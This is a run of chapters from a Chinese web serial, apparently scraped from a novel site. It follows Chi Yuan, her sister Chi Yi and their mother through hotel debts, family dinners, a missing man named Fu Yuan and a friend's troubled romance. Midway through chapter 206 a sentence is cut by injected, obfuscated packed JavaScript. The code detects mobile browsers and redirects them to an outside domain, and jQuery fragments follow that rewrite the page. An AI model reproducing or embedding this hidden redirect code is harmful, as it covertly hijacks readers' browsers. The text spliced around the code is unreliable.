池宜睫毛轻颤,电梯数字正缓慢跳动。圣德国际是本市第一的私立学校。 还早,不过提前排队也是可以的。条件?电梯门开的瞬间,池宜侧身避开他投来的目光。 要什么条件啊,就是一顿饭的事。 那好吧。池宜接过他递来的名片,烫金字体在指尖微微发烫。 尉迟延低头替她拉开车门,潮湿的热气裹着他的声音扑面而来:路上小心。 池宜摸出手机,通讯录里池鸢的备注在屏幕上明明灭灭。 手机屏幕在深夜泛着冷光。 “姐,明天来家里吃饭。” “明天有事。”池宜垂眸抚平裙摆褶皱,“刚刚周转开了。” 厨房传来瓷碗相碰的脆响,徐丽系着围裙探出头。 第202章 复述 管家接过徐丽沾着面粉的围裙:“夫人,厨房的事情交给我,您大可放心歇着。” 灶台此起彼伏的锅铲声确实让她太阳穴发胀。 池鸢正蜷在沙发里刷手机,指尖在屏幕上翻飞。 她脚边的小猫肚皮朝上,粉爪微微颤动。 “池宜怎么不来了?”徐丽的言语里带着几分不易察觉的焦躁。 说是找到了投资。池鸢头也不抬,屏幕蓝光映得睫毛在眼下投出扇形阴影,前几天还在抱怨银行抽贷,这会儿倒柳暗花明了。 她话音未落,玄关处突然传来密码锁验证成功的提示音。 雕花铜门推开时带起一阵香风,池宜踩着十厘米的红底鞋走进来,酒红色大衣下摆掠过地毯。 池鸢立刻从沙发上弹起来,拖鞋还没穿好就扑过去:姐你可算来了!我妈刚跟我念叨你。 池宜将皮手包轻轻搁在玄关柜上,玻璃相框里的旧照片突然撞进视线。 照片里的池鸢扎着歪歪扭扭的羊角辫,藏蓝色校服袖口还沾着墨水渍,却笑得比春日玉兰还要灿烂。 那时父亲还没白发,母亲眼角也没有细纹,三个人站在老宅紫藤花架下,连阳光都甜得像蜜。 “小宜来了?快来尝尝刚做的饭菜。”徐丽招呼,“听说酒店最近因为填不上之前的装修贷款......” 蒸腾的热气裹着糖醋排骨的香气漫过来,最后几个字消散在氤氲水汽里。 “妈。”池鸢抓起遥控器按下开关,液晶电视瞬间暗成镜面,映出母女三人微妙的表情,姐难得来一趟,咱们说点开心的。 池宜望着徐丽转身时笔直如青松的脊背,突然想起上周董事会的场景。 那日她穿着白西装,在投影仪蓝光里将财务报表拍在会议桌上:实在不行,就变卖老宅。 此刻厨房传来碗碟相碰的轻响,恍惚间竟与董事会上的那帮人的意见声重合。 不用变卖老宅。池宜盯着玄关处的水晶吊灯,突然开口时声音像是从很远的地方飘来。 钟表的滴答声突然变得震耳欲聋,徐丽的动作凝滞在半空。 池宜慌乱地抓起手包:我还有事......转身时高跟鞋险些崴到,发梢扫过玄关处的白玉兰摆件,瓷花瓣在玻璃柜里轻轻摇晃。 池宜,你还没吃饭。徐丽追出去时,夜风卷着香樟树的气息涌进前厅,池宜的背影已经在旋转门外缩成小小的黑影。 我不饿。池宜开车,后视镜里映出徐丽的身影。 徐丽回到客厅时,池鸢正抱着猫窝在沙发里。水晶吊灯将母亲的影子拉得很长,是不是我说错了什么? 池鸢将猫放在膝头:妈,你又不是不知道,当年老宅过户到你名下时......她突然噤声,看着母亲转身走向酒柜的背影。 徐丽后颈,那里有道淡粉色疤痕,是二十年前老宅失火时留下的,此刻在灯光下泛着光泽。 徐丽指尖无意识地转着钢笔,电话听筒贴着耳畔传来沙沙电流声。找到了?真的?!她猛地坐直身子,椅脚在地板上划出刺耳声响,什么背景的投资方?靠谱吗? 电话那头隐约还能听见汽车引擎声:放心,老熟人牵的线,对方对咱们文创项目很感兴趣。 徐丽咬着下唇。 陈容?她复述着这个名字。 挂断电话后,徐丽摩挲着手机屏幕,玻璃映出她若有所思的面容。 与此同时,环路高架上银色轿车在车流中灵活穿行。池宜将手机夹在耳边,后视镜里掠过她微卷的发丝。 妈妈!儿子雀跃的声音从听筒炸开。 妈妈在开车呢。她刻意放软声调,指尖无意识摩挲着方向盘上的皮革纹路。 徐丽将约茶信息发送出去,不过片刻,屏幕闪烁了一下。 第203章 水痕 晨雾挂在枝头,池鸢呵出的白气在路灯下凝成沙。 工资到账短信提示音还在耳畔回响,她捏紧包里精心挑选的礼物——给妈妈的羊绒围巾裹着暖手宝,给池宜的是专柜小姐推荐的限量口红,外壳流转着碎钻般的冷光。 推开酒店旋转门时,香氛机喷出的橙花气息裹着寒意扑面而来。 池宜倚在鎏金雕花栏杆上:池鸢你这是干嘛。质问声裹着红酒的微醺,在空旷的大堂激起细小的回音。 池鸢下意识拉紧大衣,纤维与皮肤摩擦出轻微的刺痒。 她盯着池宜高跟鞋上晃动的水晶装饰,我妈她只是太想解决问题。 有些问题不是冲动就能解决的。池宜涂着豆沙色甲油的手指重重敲在栏杆上,香奈儿外套的珍珠纽扣随之轻颤,投资项目的事,我希望阿姨能多听听专业意见。 玻璃幕墙外突然炸开一道车灯,池鸢的指甲掐进掌心。 这些年在公司摸爬滚打,她见过太多甲方的脸色,可面对血缘至亲时,那些打磨出的圆滑世故总像筛子般漏得一干二净。 傅渊都失联这么久了。池宜突然压低声音,颈间的宝格丽项链在阴影里泛着冷光,他之前什么也没告诉你吗,我看你们不是玩的挺开心的.....话音未落,电梯门叮咚开启,欢声笑语如潮水般漫涌而出。 池鸢的呼吸骤然停滞。傅清浅的早春款套装衬得她像只骄傲的孔雀。 人群中忽然闪过一抹熟悉的身影——戴着黑色墨镜的男人裹着大衣,金丝镜框下露出的下颌线,分明是在年会上与她共舞过的萧显。 镁光灯在记忆里骤然炸开,彼时他温热的掌心贴着她后腰,薄荷的气息几乎要将人溺毙。 看什么呢?池宜顺着她的目光望去,突然嗤笑。 这笑声像根细针,刺破了大堂里浮动的香氛,也刺破了池鸢拼命压抑的慌乱。她听见自己剧烈的心跳声,在耳膜上敲出凌乱的节奏。 池鸢转身时高跟鞋尖在大理石地面划出细微声响。正要抬脚,身后突然传来娇滴滴的呼唤:哎,池小姐! 傅清浅倚在雕花前台旁,手指优雅地叩击台面。 她身后跟着七八个年轻男女,有人举着摄像机调试镜头,有人抱着印满LOGO的礼品袋。 我们要住十几天,帮我开三十个房间吧。尾音带着刻意拉长的弧度,像是裹着蜜糖的刀片。 池鸢垂眸接过递来的身份证,冰凉的触感从指尖蔓延。 曾经在酒店实习时,她也做过这种对接工作,可此刻系统键盘上的按键却像烧红的烙铁。 傅清浅身上昂贵的香水味笼罩过来,与她大衣里残留的廉价洗衣液气息形成刺眼对比。 麻烦快些哦,我们还有庆功宴要办,到时候要包下二楼餐厅。 萧显忽然摘下墨镜,金丝框在他指间轻轻晃动。那双桃花眼里映着水晶吊灯的碎光,与年会上温柔注视她的目光判若两人。 池鸢的太阳穴突突跳动,机械地敲打着键盘,订单确认的提示音仿佛来自遥远的地方。 身后突然传来熟悉的温度,池宜的手掌隔着大衣落在她肩头,带着体温的力道轻轻按了按。 转身时,一杯热气腾腾的茉莉花茶已经推到面前,青瓷杯沿凝结的水珠顺着杯壁滑下,在台面上晕开细小的水痕。 慢慢弄,不着急。池宜的声音裹着暖意,铂金腕表在灯光下折射出柔和的光,将傅清浅那拨人的喧嚣都隔绝在外。 结束订房操作。 杯沿氤氲的热气在两人之间织出朦胧的纱,池宜看着深褐色的液体,傅清浅最近在和尉迟延表弟周明相亲,上次我们见过了。” 池鸢捧着杯子的手指骤然收紧,滚烫的温度透过陶瓷传来刺痛。 也不怪傅清浅对自己颐指气使了。 池宜的怒气更是有了解释。 池宜突然将杯子搁下,起身走到楼下接电话。 水晶吊灯的光芒突然暗了一瞬,池鸢望着杯底沉淀的茶叶,想起傅清浅方才的模样。 正想着,手机亮了一瞬,屏幕显示的人名是,傅渊。 第204章 细密 傅渊握着公共电话亭的听筒,指节因用力而泛白。 硬币滑入投币口的脆响混着车流轰鸣,他抽出藏在内袋的钢笔,在便利店小票背面写下池鸢的地址。 雨水顺着墨绿色外套的帽檐蜿蜒而下,在袖口汇聚成细密的水帘。 你那边雨很大吗?池鸢的声音裹着电流沙沙作响,听筒贴着脸颊的位置渐渐洇湿,要不...我去接你? 傅渊望着马路对面被积水倒映得支离破碎的路灯。 池鸢说自己是灾星,碰过的雨伞会散架,晾的衣服永远晒不干。 傅渊垂眸划开沾了水的字迹,轻笑打断:天气预报说接下来一周都是晴天。 可是我以前... 车流呼啸着掠过他身后,溅起的水花打湿裤脚,他看着小票上晕开的墨痕,等收到包裹,就当是我们的约定。 池鸢指尖刚从手机屏幕上移开,身后突然响起的清冷女声惊得她险些将手机摔落。 转身时撞进傅清浅探究的目光里,对方垂眸扫过她泛红的耳尖,嘴角勾起意味不明的弧度。 在和谁打电话?傅清浅的目光冰凉,顺着池鸢攥着手机的手缓缓上移。 走廊顶灯在她发梢投下细碎阴影,将那双含着审视的杏眼衬得愈发幽深。 池鸢后退半步,后腰抵住窗台冰凉的大理石,手机在掌心沁出冷汗:同...同事而已,工作上的事。 她试图挤出微笑,却在看见对方盯着自己脖颈的眼神时僵住。 傅清浅突然凑近,池鸢闻到她身上若有若无的香水味。 那双戴着珍珠戒指的手撑在她身侧:池小姐很喜欢说谎呢。温热的呼吸拂过耳畔,需要我提醒你,上一个对我隐瞒的人,现在在哪里吗? 萧显踏着轻快的脚步声闯入这片剑拔弩张的氛围,黑色西装领口别着的银色胸针在廊灯下晃出冷光。 他自然地站在两人中间,侧身对傅清浅露出招牌式的温柔笑容:清浅小姐,包厢里香槟都快见底了,导演说等你切蛋糕。 池鸢望着他刻意挡住傅清浅视线的宽阔后背,喉咙发紧。 走廊尽头传来隐隐约约的吉他扫弦声,混着年轻男女的笑闹,在寂静的空间里撕开一道裂口。 你,也过来。傅清浅的高跟鞋叩击地面,绕开萧显径直逼近。“反正池小姐这么闲,不如来给我们当伴舞? 池鸢头皮发麻,鬼使神差地点了点头。 宴会厅水晶灯璀璨如星河,傅清浅的团队成员们正围着长桌碰杯。 白色桌布上散落着产品广告策划书,香槟塔折射出七彩光晕,池鸢站在门口,听见有人小声议论:新来的?哦,酒店人员... 话尾被骤然响起的贝斯声切断,萧显回头冲她眨了眨眼,示意她往角落的空位走,而傅清浅已经踩着十厘米的细高跟跳上临时搭建的小舞台,灯光将她的影子拉得很长,几乎要将池鸢笼罩其中。 水晶吊灯渐次熄灭,宴会厅的热闹像被抽走的丝线,只剩保洁阿姨清扫纸杯的窸窣声。 池鸢抱着外套往安全通道走,高跟鞋踩在防火门的金属台阶上,发出冷清的回响。 等等!身后传来急促的脚步声,萧显举着她遗落的丝巾追上来,额角还沾着汗湿的碎发。 他伸手时,袖口露出半截银链,坠着枚形似胶片的吊坠在阴影里晃荡,原来真的是你。 池鸢指尖悬在丝巾上方,想起三个多月前公司年会上,自己躲在后台发抖时,那个替她调试话筒的陌生男人。 当时暖黄追光灯下,对方露出虎牙的笑让她紧绷的神经突然松懈,你居然记得... 萧显将丝巾轻轻绕上她手腕,动作带着某种不容拒绝的温柔,那天你唱《光年》,最后一个高音破音时,台下有人喝倒彩,你却对着话筒说谢谢提醒。他低头笑了,睫毛在眼下投出细密的影。 第205章 烟火 灯光透过雕花玻璃窗斜斜洒在会客厅。萧显黑曜石袖扣在逆光中闪过冷芒,那句我还有事像把淬了冰的刀,斩断了她未尽的话。 男人转身时带起的香根草尾调还萦绕在空气里。 三日后,池家老宅的青瓦廊下铜铃被穿堂风撞得叮咚作响,池鸢倚着廊柱,看着徐丽踩着积水匆匆而来。 旗袍滚边沾着些水痕,倒衬得整个人愈发楚楚动人。 大嫂怎么站在这儿?徐丽接过礼盒,笑容轻颤,老太太的车已经来了,说是带了新晒的梅子酱呢。话音未落,雕花铁门便传来车碾过碎石的声响,一辆老式轿车缓缓驶入,车身蒙着水雾。 拄着檀木拐杖的老太太由佣人搀扶着下车,靛蓝印花布衫,腕间那串包浆温润的老山檀却价值连城。 她眼珠扫过庭院里凋零的绣球花,忽然重重一跺脚:好好的园子荒成这样,你成天做的什么事? 徐丽立刻上前扶住老人,声音甜得像浸了蜜:奶奶快别说这话,我这几日为酒店的事愁得茶饭不思,昨儿还守着账本到后半夜呢。 她转头朝池鸢使了个眼色,鬓边白兰花随着动作轻晃,要我说,多亏大嫂撑着,要换成旁人,早被那些刁钻的供应商闹得没法子了。 池鸢也不知道说什么,只是垂眸应了声。 暮色将落地窗染成琥珀色,沈念安摘下金丝眼镜。耳边还是酒店大堂传来的钢琴声混着车水马龙的喧嚣,她望着手机里徐丽发来的邀约短信,忽然想起上次围坐在餐桌前说话,还是除夕夜。 推开老宅雕花木门时,檀木混着当归的气息扑面而来。 徐丽腕间翡翠镯子随着动作轻撞,发出清泠声响。将刚沏好的祁门红茶推过来,雾气氤氲中,金骏眉在瓷盏里舒展如蝶。 沈念安端起茶盏轻抿,看着杯底沉浮的茶叶:家里琐事一团乱麻,池宜那孩子......话音未落,她忽的顿住,睫毛在眼下投出细碎阴影,每天早出晚归带孩子,在公司又要强,也不知偷偷抹了多少眼泪。 徐丽指尖划过杯沿,胭脂红甲油映着烛火明灭。 她当然知道池宜在设计部熬的那些通宵,更清楚她为了孩子四处奔波的窘迫。 垂眸时,珍珠耳坠在鬓边轻轻摇晃:咱们是一家人,凑些周转金的事。她摩挲着翡翠镯子,想起自家名下那间珠宝行的保险柜,整排金条在日光灯下泛着冷光。 正说着,穿堂风突然卷起纱帘。池宜出现在门口,发梢还沾着汗,身后跟着的尉迟延却气定神闲,黑色风衣下摆被风吹得猎猎作响。 池宜瞪了他一眼,压低声音:不是说别来吗?对方只是挑眉,骨节分明的手指轻叩门框,腕表表盘折射的冷光扫过屋内众人。 厨房内,池鸢握着铜提梁壶的指尖被热气熏得发红。 砂锅咕嘟作响,她将红枣枸杞茶滤进茶盏,又往白瓷碟里码好现烤的核桃酥——这些都是老太太爱吃的。 瓷盘相碰发出清脆声响,恍惚间勾起儿时记忆,那时老宅还常有阖家团聚的欢笑声。 当她端着托盘踏入厅堂,正听见徐丽用帕子轻点眼角:奶奶您不知道,老池为了生意也是常常出差,他不善经营,就喜欢看书的......话音戛然而止。所有人的目光转向门口,池鸢被盯得指尖发颤,茶水在盏中晃出细小涟漪。 乖丫头快放下。老太太拄着拐杖颤巍巍起身,檀木拐杖点在青砖上发出笃笃声。她布满皱纹的手覆上池鸢微凉的手背,浑浊的眼睛突然亮起来,让奶奶瞧瞧,是不是又瘦了? 说罢竟从袖口掏出个油纸包,路上买的桂花糕,你小时候最馋这口。 沈念安接过茶盏时,目光扫过池鸢。 徐丽则笑意盈盈地将核桃酥推到老太太面前,翡翠镯子撞在茶盏上叮咚作响。 这场面倒让老宅真有了几分烟火气。 第206章 倒影 暮色如墨,将天边最后一缕霞光浸染殆尽时,客厅的吊灯在玻璃窗上投下暖黄光晕。 池鸢踮脚取下酒柜顶层的檀木盒,窖藏二十年的陈酿醇香裹挟着琥珀色酒液缓缓倾泻,在杯壁凝成细密酒珠。 小尉难得来家里。 尉迟延仰头饮尽半杯,喉结滚动间溢出爽朗笑声。 池鸢望着奶奶鬓角的白发,又瞥向对面浅尝辄止的尉迟延,指尖无意识摩挲着杯沿。 青瓷杯沿还留着沈念安方才倒茶时留下的茶渍,氤氲水汽在暖光灯下凝成细小水珠。 别贪杯,这酒性烈。池宜用银匙搅散碗里的莲子羹,瓷勺与碗壁碰撞出清脆声响。她垂眸望着碗中沉浮的枸杞,忽然想起上个月父亲醉酒后嘴角燎起的水泡,喉间不由得发紧。 两杯酒下肚,尉迟延已经有些醉意。 厨房传来碗筷碰撞的刺耳声响,你爸喝了可没事,这酒是我托朋友带的,一般人都喝不到。 老太太用竹杖轻敲地面,老花镜滑到鼻尖:年轻人金贵。 她眼珠转向池鸢。 徐丽擦身而过时故意撞向池鸢肩膀。 妈!池鸢踉跄后退。 徐丽已经背过身去收拾餐桌。 三日后的清晨,快递员的敲门声惊醒了蜷缩在沙发上的池鸢。 牛皮纸包裹边角沾着水渍,傅渊遒劲的字迹在晨光下泛着墨香。 她攥着包裹躲进卧室,铜锁扣合时发出咔嗒轻响,仿佛锁住了某个不为人知的秘密。 …… 橱窗的水晶吊灯折射出璀璨光芒,萧辞的指尖划过珍珠缀成的婚纱裙摆。 缎面在她掌心流淌出月光般的光泽,几十万的标价牌在落地镜里投下细小阴影。 池鸢望着试衣镜中旋转的身影。 好看吗?萧辞提着裙摆转了个圈,珍珠耳坠扫过锁骨泛起细碎银光。 手指抚过腰间手工缝制的玫瑰,镜中倒影与身后的婚纱海报渐渐重叠。 池鸢盯着她无名指上崭新的钻戒,突然听见自己干涩的声音:你是要结婚了? 萧辞对着落地镜最后整理了下裙摆,指尖无意识摩挲着婚纱上的蕾丝花纹,镜中倒影与身后价签上的数字同样刺目:“我也不小了,店里的设计师,上个月表白的。”她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15772320|167655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音裹着轻飘飘的笑,却像浸了冰水的绸缎般发凉。 “你不和王莽联系了。” “我现在知道你当初为什么劝我了。”萧辞突然转身,婚纱拖尾在地面扫出冷冽的弧线,“消失半个月不接电话。”她扯下珍珠头纱扔在试衣凳上,金属别针撞击出清脆声响,“安全感这种东西,他从来没给过我。” 包装婚纱的礼盒是丝绒质地,深紫色表面压着暗纹玫瑰。 池鸢看着店员将裙摆仔细折叠,动作熟练。 咖啡店的冷气裹着拿铁的香气扑面而来。 萧辞搅拌着冰美式,吸管搅动杯底的方糖,在水面投下晃动的菱形光斑:“如果我结婚,你能来当伴娘吗?”奶泡沾在她唇角,很快被舌尖卷走,像极了她处理感情时一贯的干脆利落。 池鸢望着窗外,玻璃上的倒影与萧辞重叠成模糊的轮廓。 当那抹身影消失在自动门开合的缝隙里,她鬼使神差摸出手机。 听筒里的忙音持续几声,突然传来熟悉的喘息:“小鸢?” 电流声里混着隐约的摇滚鼓点,还有陌生女人轻笑的尾音。 第207章 轨道 太阳光像融化的焦糖流淌在城郊公路上,池鸢停下车,正撞见王莽弓着背推着锈迹斑斑的哈雷。 摩托车排气管还冒着断续的黑烟,后面跟着的红发女人,紧身热裤将腰臀曲线勒出惊心动魄的弧度,耳垂上的水钻随着动作晃出冷光。 王莽,有个女的跟着我们。露露涂着酒红色甲油的手指敲了敲头盔,眼尾上挑的眼线含着三分挑衅。 她歪头时,海藻般的卷发垂落肩头,锁骨处还沾着酒吧特有的廉价香水味。 王莽的牛仔外套袖口磨出毛边,他将摩托车往路边又推了推,金属链条发出吱呀声响:她是我朋友。话音未落就被露露尖利的笑声截断。 普通朋友还是女朋友啊?露露突然倾身,玫瑰色唇釉在夕阳下泛着油光。 她故意将短裙往上扯了扯,露出大腿内侧若隐若现的纹身,上次那个穿白裙子的,你也说是普通朋友。 露露。王莽的喉结滚动了一下,粗糙的手掌覆上她晒得微褐的手臂,指腹擦过她腕间缠绕的银色手链,去路边修车铺打个电话,让人把车拖走。他弯腰时,后颈的旧疤痕在领口若隐若现。 露露踩着十厘米的细高跟转身,臀部的曲线在牛仔布料下摇曳生姿。 等她走远,王莽从破洞牛仔裤口袋摸出皱巴巴的烟盒,点燃时火星照亮他眼底的疲惫:上个月在皇后酒吧认识的,一个,驻唱。 他点了根烟,吐出烟圈,看着它在太阳光里消散,我说我欠一屁股债,她还说愿意陪我吃苦。 烟蒂掉在柏油路上,被他用鞋跟碾得粉碎。 …… 客厅,在萧辞奶奶布满皱纹的脸上投下明暗交错的阴影。王莽耳畔还回响着婆婆妈妈吵架的声音。 您先消消气!萧辞妈妈横跨半步挡在两人中间,蓬松的卷发随着动作微微晃动,孩子们都到谈婚论嫁的年纪了,咱们做长辈的... 不行!老人枯瘦的手指几乎戳到王莽鼻尖,我绝不能让她跟着这种人吃苦! 萧辞突然从母亲身后探出头,杏眼里盛满倔强:奶奶,他有正经工作...话音未落就被尖锐的咳嗽声打断。 老人不肯:“想都别想。” 王莽描述与萧辞家人争执时刻意加重的尾音。 池鸢,“你没添油加醋吧。” 轮胎与地面摩擦出刺耳声响,露露晃悠到两人中间:救助车来了,王莽!我们去游乐场。她突然拽住王莽的手腕,珍珠手链在阳光下折射出细碎光斑。 没看见我在修车?王莽不着痕迹地抽回手,沾着机油的指尖在牛仔裤上蹭了蹭。他余光瞥见池鸢正帮着和救助人员谈话。 露露突然跺脚,鞋在柏油路上碾出细小的沙痕:我不管!现在就要去!王莽你陪不陪我?她仰起的脖颈露出天鹅绒颈链,和王莽车后座那个同款礼盒包装一模一样。 露露,别闹了。王莽压低声音警告,目光却不由自主飘向池鸢。对方正倚着车身喝水,太阳光把她的侧脸镀成暖金色,发梢在风里轻轻扬起。 那我一起去吧。池鸢拧上矿泉水瓶盖,金属碰撞声清脆如铃。 她注意到王莽瞬间绷紧的下颌线,以及露露骤然瞪大的杏眼。 你一起去?王莽脱口而出,喉结不自然地滚动两下。 原本设计好的旋转木马告白,此刻在脑海里碎成满地星光。 他望着池鸢背包上晃悠的小恐龙挂件,突然觉得这场邀约从一开始就偏离了轨道。 第208章 肩头 阳光炙烤着游乐场的铁艺大门,露露倚着售票亭的阴影,指尖烦躁地转着遮阳伞的伞柄。 王莽刚转身去排队,她便立刻将目光投向一旁的池鸢,目光里带着不加掩饰的敌意:我说,你为什么非要跟着我们? 池鸢垂眸整理包的背带,发梢在颈侧投下细碎的阴影。蝉鸣声里,她只安静地看着远处旋转木马闪烁的彩灯,半晌也没开口。 不说话?露露嗤笑一声,突然凑近,用脚趾头想也知道,还不是惦记着你的好闺蜜。怎么,她现在怎么样了? 这和你没关系。池鸢终于抬起头,睫毛在眼下投出一片蝶翼般的阴影。 露露撩起长发,露出精致的锁骨:有关系没关系的,能发展的早都发展了呗。她故意拖长尾音,嘴角勾起挑衅的弧度。 别听她胡说。王莽突然从背后冒出来,手里的塑料袋凝着水珠。他抽出一根草莓味棒冰,撕开包装纸递到池鸢面前,天太热了,吃这个降降温。 池鸢犹豫了一下,接过棒冰咬下一小口。冰凉的甜味在舌尖散开时,她突然撞上王莽专注的目光。男人额角沁着薄汗,眼睛却一瞬不瞬地盯着她,喉结不经意间滚动了一下。 对了,王莽拧开橘子汽水的瓶盖,气泡声在闷热的空气里炸开,你不是总和盛明栩走得挺近?怎么,不继续抱那条大腿了? 池鸢咬着棒冰的牙齿顿了顿,冰凉的木棍抵着下唇:盛总有女朋友。她偏头避开对方探究的视线,发尾扫过沾着草莓果酱的嘴角。 哦......王莽仰头灌了一大口汽水,喉结上下滑动,我知道,我都知道......他突然烦躁地抹了把脸,算了,当我没问。夕阳的余晖给他的侧脸镀上一层金边,喉间残留的气泡却在胸腔里不停翻涌,搅得人心烦意乱。 锈迹斑斑的长椅在暮色里吱呀作响,王莽指尖夹着的香烟明明灭灭,火星子随着夜风簌簌落在池鸢鞋边。 远处过山车载着露露的尖叫刺破暮色,轨道在渐暗的天幕下划出诡异的金属弧线,这个偏郊的游乐园,此刻除了他们,只剩值班人员散漫的身影。 她每个礼拜都要来。王莽忽然开口,烟雾在他眼前缭绕,模糊了他眼底的复杂神色,非要坐那辆破过山车找刺激。 池鸢盯着远处忽明忽暗的游乐设施,晚风掀起她的衣角。 王莽却没再说话。蝉鸣声混着露露越来越远的尖叫,在空气里发酵成诡异的寂静。 霓虹初上时,王莽叫车准备送露露去市区。 池鸢站在路边扬手拦车,轮胎碾过碎石的声响让王莽猛地回头。别跟着去。他目光带着警告,酒吧不是你该待的地方。 她上班,你为什么不陪?池鸢攥着车门把手,路灯将她的影子拉得细长。 说了不是我女朋友!王莽烦躁。 酒吧的金属门推开瞬间,震耳欲聋的音乐裹挟着酒精味扑面而来。 露露正蜷在舞台角落补妆,黑色吊带裙勾勒出完美曲线,眼影在镭射灯下泛着冷光。 当她抱着吉他登台,原本喧闹的卡座突然安静下来——婉转的声线穿透低音炮,让几个醉汉都放下酒杯怔在原地。 王莽倚在吧台开了瓶威士忌,琥珀色液体撞在杯壁发出清脆声响:放着音乐学院的铁饭碗不要,非要在这种地方耗青春。 他仰头灌下烈酒,喉结滚动间冷笑,傍个富豪少奋斗十年,不比在这儿唱口水歌强? 池鸢盯着杯口浮起的气泡:有了钱,就有爱情吗? 这句话让王莽举着酒杯的手顿住。烟雾里,他望着舞台上光芒四射的露露。 午夜散场时,露露已经醉得脚步虚浮。 她勾着王莽的脖子笑得花枝乱颤,浓烈的酒气混着香水味扑面而来。 下一秒,温热的呕吐物突然溅在池鸢肩头。 王莽慌忙扯过纸巾,却见露露瘫在沙发里,喃喃说着谁也听不懂的梦话。 霓虹灯在她湿漉漉的睫毛上跳跃。 第209章 聊 真丝衬衫带着香气滑出防尘袋,池鸢对着镜子将领口别上珍珠胸针,镜中人的眉眼褪去了三年前的青涩,流转着锐利。 品味倒是没变。王莽倚在门框上。 他望着池鸢利落地将换下的脏衣服挂进防尘罩,忽然想起初见时这个女孩在签合同时被刁难到眼眶发红的模样。 街角新开的工作室。池鸢将牛皮纸袋推过去。 她后退半步拉开距离,玻璃幕墙外的雨幕模糊了CBD的霓虹,却清晰映出王莽骤然收紧的下颌线。 王莽捏着点燃的香烟,收着池鸢递来的领带。 烟灰簌簌落地板上:既然破费,就听点值钱的。他刻意压低的声音里裹着烟草的辛辣,傅渊现在连手机都不敢开。 池鸢的睫毛剧烈颤动,电梯门开合的提示音在寂静中格外刺耳。 她警惕地瞥向监控探头,却见王莽嗤笑一声,烟头在大理石地面碾出焦痕:是家族纷争。 话音未落,池鸢突然拽住他的袖口,指甲几乎掐进他的皮肤。 池鸢给王莽使眼色,希望他可以声音小一点。 王莽则说,“这已经不是什么秘密了,这是家族纷争。” 池鸢眼睛瞪大。 王莽望着女孩仓皇离去的背影,又点燃一支烟。 池鸢坐在房间里,看着傅渊寄来的包裹,泛黄的会议纪要,一些内部文件。 这才证实,傅渊确实卷进了危险的事情中。 午夜,池鸢蜷缩在沙发上沉沉睡去。 梦境的画面突然切换到潮湿的街道。昏黄路灯下,穿黑色风衣的男子将公用电话重重扣上,镜片后的瞳孔剧烈收缩。他发梢滴落的水珠混着冷汗,脚下溅起的水花在柏油路上炸开涟漪。 当轰鸣声由远及近,男子几乎是撞进呼啸而来的列车车厢,锈迹斑斑的车门在身后重重合拢,将追赶者的身影隔绝在尾灯之外。 晨光刺破薄雾时,露露裹着真丝睡袍赤脚踩在地毯上,艳丽的指甲狠狠戳向王莽胸口:别拿醉酒当挡箭牌! 她染着蔻丹的手指突然顿住——梳妆台上深蓝色领带正静静躺在珠宝盒旁,暗纹在朝阳下泛着冷光。立刻给我还回去!尾调混着怒意,在空气中凝成尖锐的刺。 “哦。”他倒是乖乖答应了。 写字楼中央空调发出轻微嗡鸣,池鸢盯着手机屏幕上新弹出的消息,指甲在玻璃面板上划出细碎声响。 电梯下行时,她无意识地抚平西装下摆的褶皱。 旋转门外,王莽等着。 收下吧。池鸢恳请。 王莽挑眉轻笑,领带第三次被推回时,他突然压低声音:傅渊的行踪,我也不知道。 玻璃幕墙倒影里,池鸢睫毛颤动的瞬间,远处突然闪过一抹熟悉的红裙。 何璃抱着文件夹驻足,墨镜后的目光在两人之间游移。 这个男的是谁,没见过,应该不是公司的客户。 何璃踩着十厘米高跟鞋款步上前,香奈儿高定裙摆带起一阵裹挟着鸢尾花香的风。 她的手自然地搭上池鸢肩头,指尖在对方肩胛骨处若有似无地摩挲:前辈什么时候认识这么帅气的朋友?睫毛下流转的目光,看向王莽远去的背影。 男人连头都没回。 池鸢望着逐渐消失的车影,喉结微微滚动:普通朋友而已。 她伸手去接何璃怀里的东西。 何璃的笑容瞬间凝固在脸上,随即化作更甜美的弧度:瞧我这记性,陈总还等着这份企划案。她抽回手时,故意让文件夹边缘擦过池鸢手背,留下一道浅浅的红痕,前辈先忙,改日再聊。” 第210章 符号 池鸢正对着衣帽间镜面调整珍珠耳钉,玄关处突然传来钥匙转动的声响。 门推开的瞬间,池承彦摘下金丝眼镜擦拭镜片,深灰色西装外套随意搭在臂弯,他身后的老太太裹着藏青色羊绒披肩,竹编提篮里白松露的异香混着松茸的清冽,在玄关处漫开一层山野气息。 爸,你怎么回来了。池鸢垂眸将珍珠项链塞入手包夹层,拉链咬合的声音在寂静中格外清晰。 池承彦将公文包甩在玄关柜上,金属搭扣磕出闷响:我来不是很正常吗?他扯松领带时,喉结处的红痕若隐若现,出版社新来了批滞销书,我让老周明天送几箱过来,给你奶奶当坐垫正合适。 老太太颤巍巍掀开提篮盖布,白松露的深褐色表皮沾着新鲜泥土:阿鸢,这是后山王老头家的,比城里卖的鲜。 手突然顿住,眼睛盯着她的装束,穿得这么体面,是要去见谁? 池鸢瞥见墙上挂钟的指针即将划过七点,高跟鞋已经踩上玄关地砖:出去有约会,来不及了。她弯腰换鞋时,珍珠项链从手包滑出,在瓷砖上撞出细碎声响。 什么事这么着急?池承彦扯下领带甩在柜面,我和你奶奶特意从城西赶过来,就为了听你说句来不及? 我知道你要去哪儿。徐丽从厨房转出,青花瓷筷筒磕在餐桌上发出脆响,不就是和傅家吃饭?阿鸢,你还记得傅蔚把你害成那样,现在说几句好话,你就要往火坑里跳? 池鸢攥紧手包的手指关节发白,记忆突然被撕开缺口——消毒水味弥漫的病房,监护仪刺耳的警报,傅蔚转身时风衣带起的冷风。 她深吸一口气,玻璃门外的暮色已经彻底沉入黑暗:这次是傅家老爷子做东,谈的是公司的事。她踩着高跟鞋转身,珍珠项链在暮色中晃出微弱的光,爸,奶奶,你们先吃。 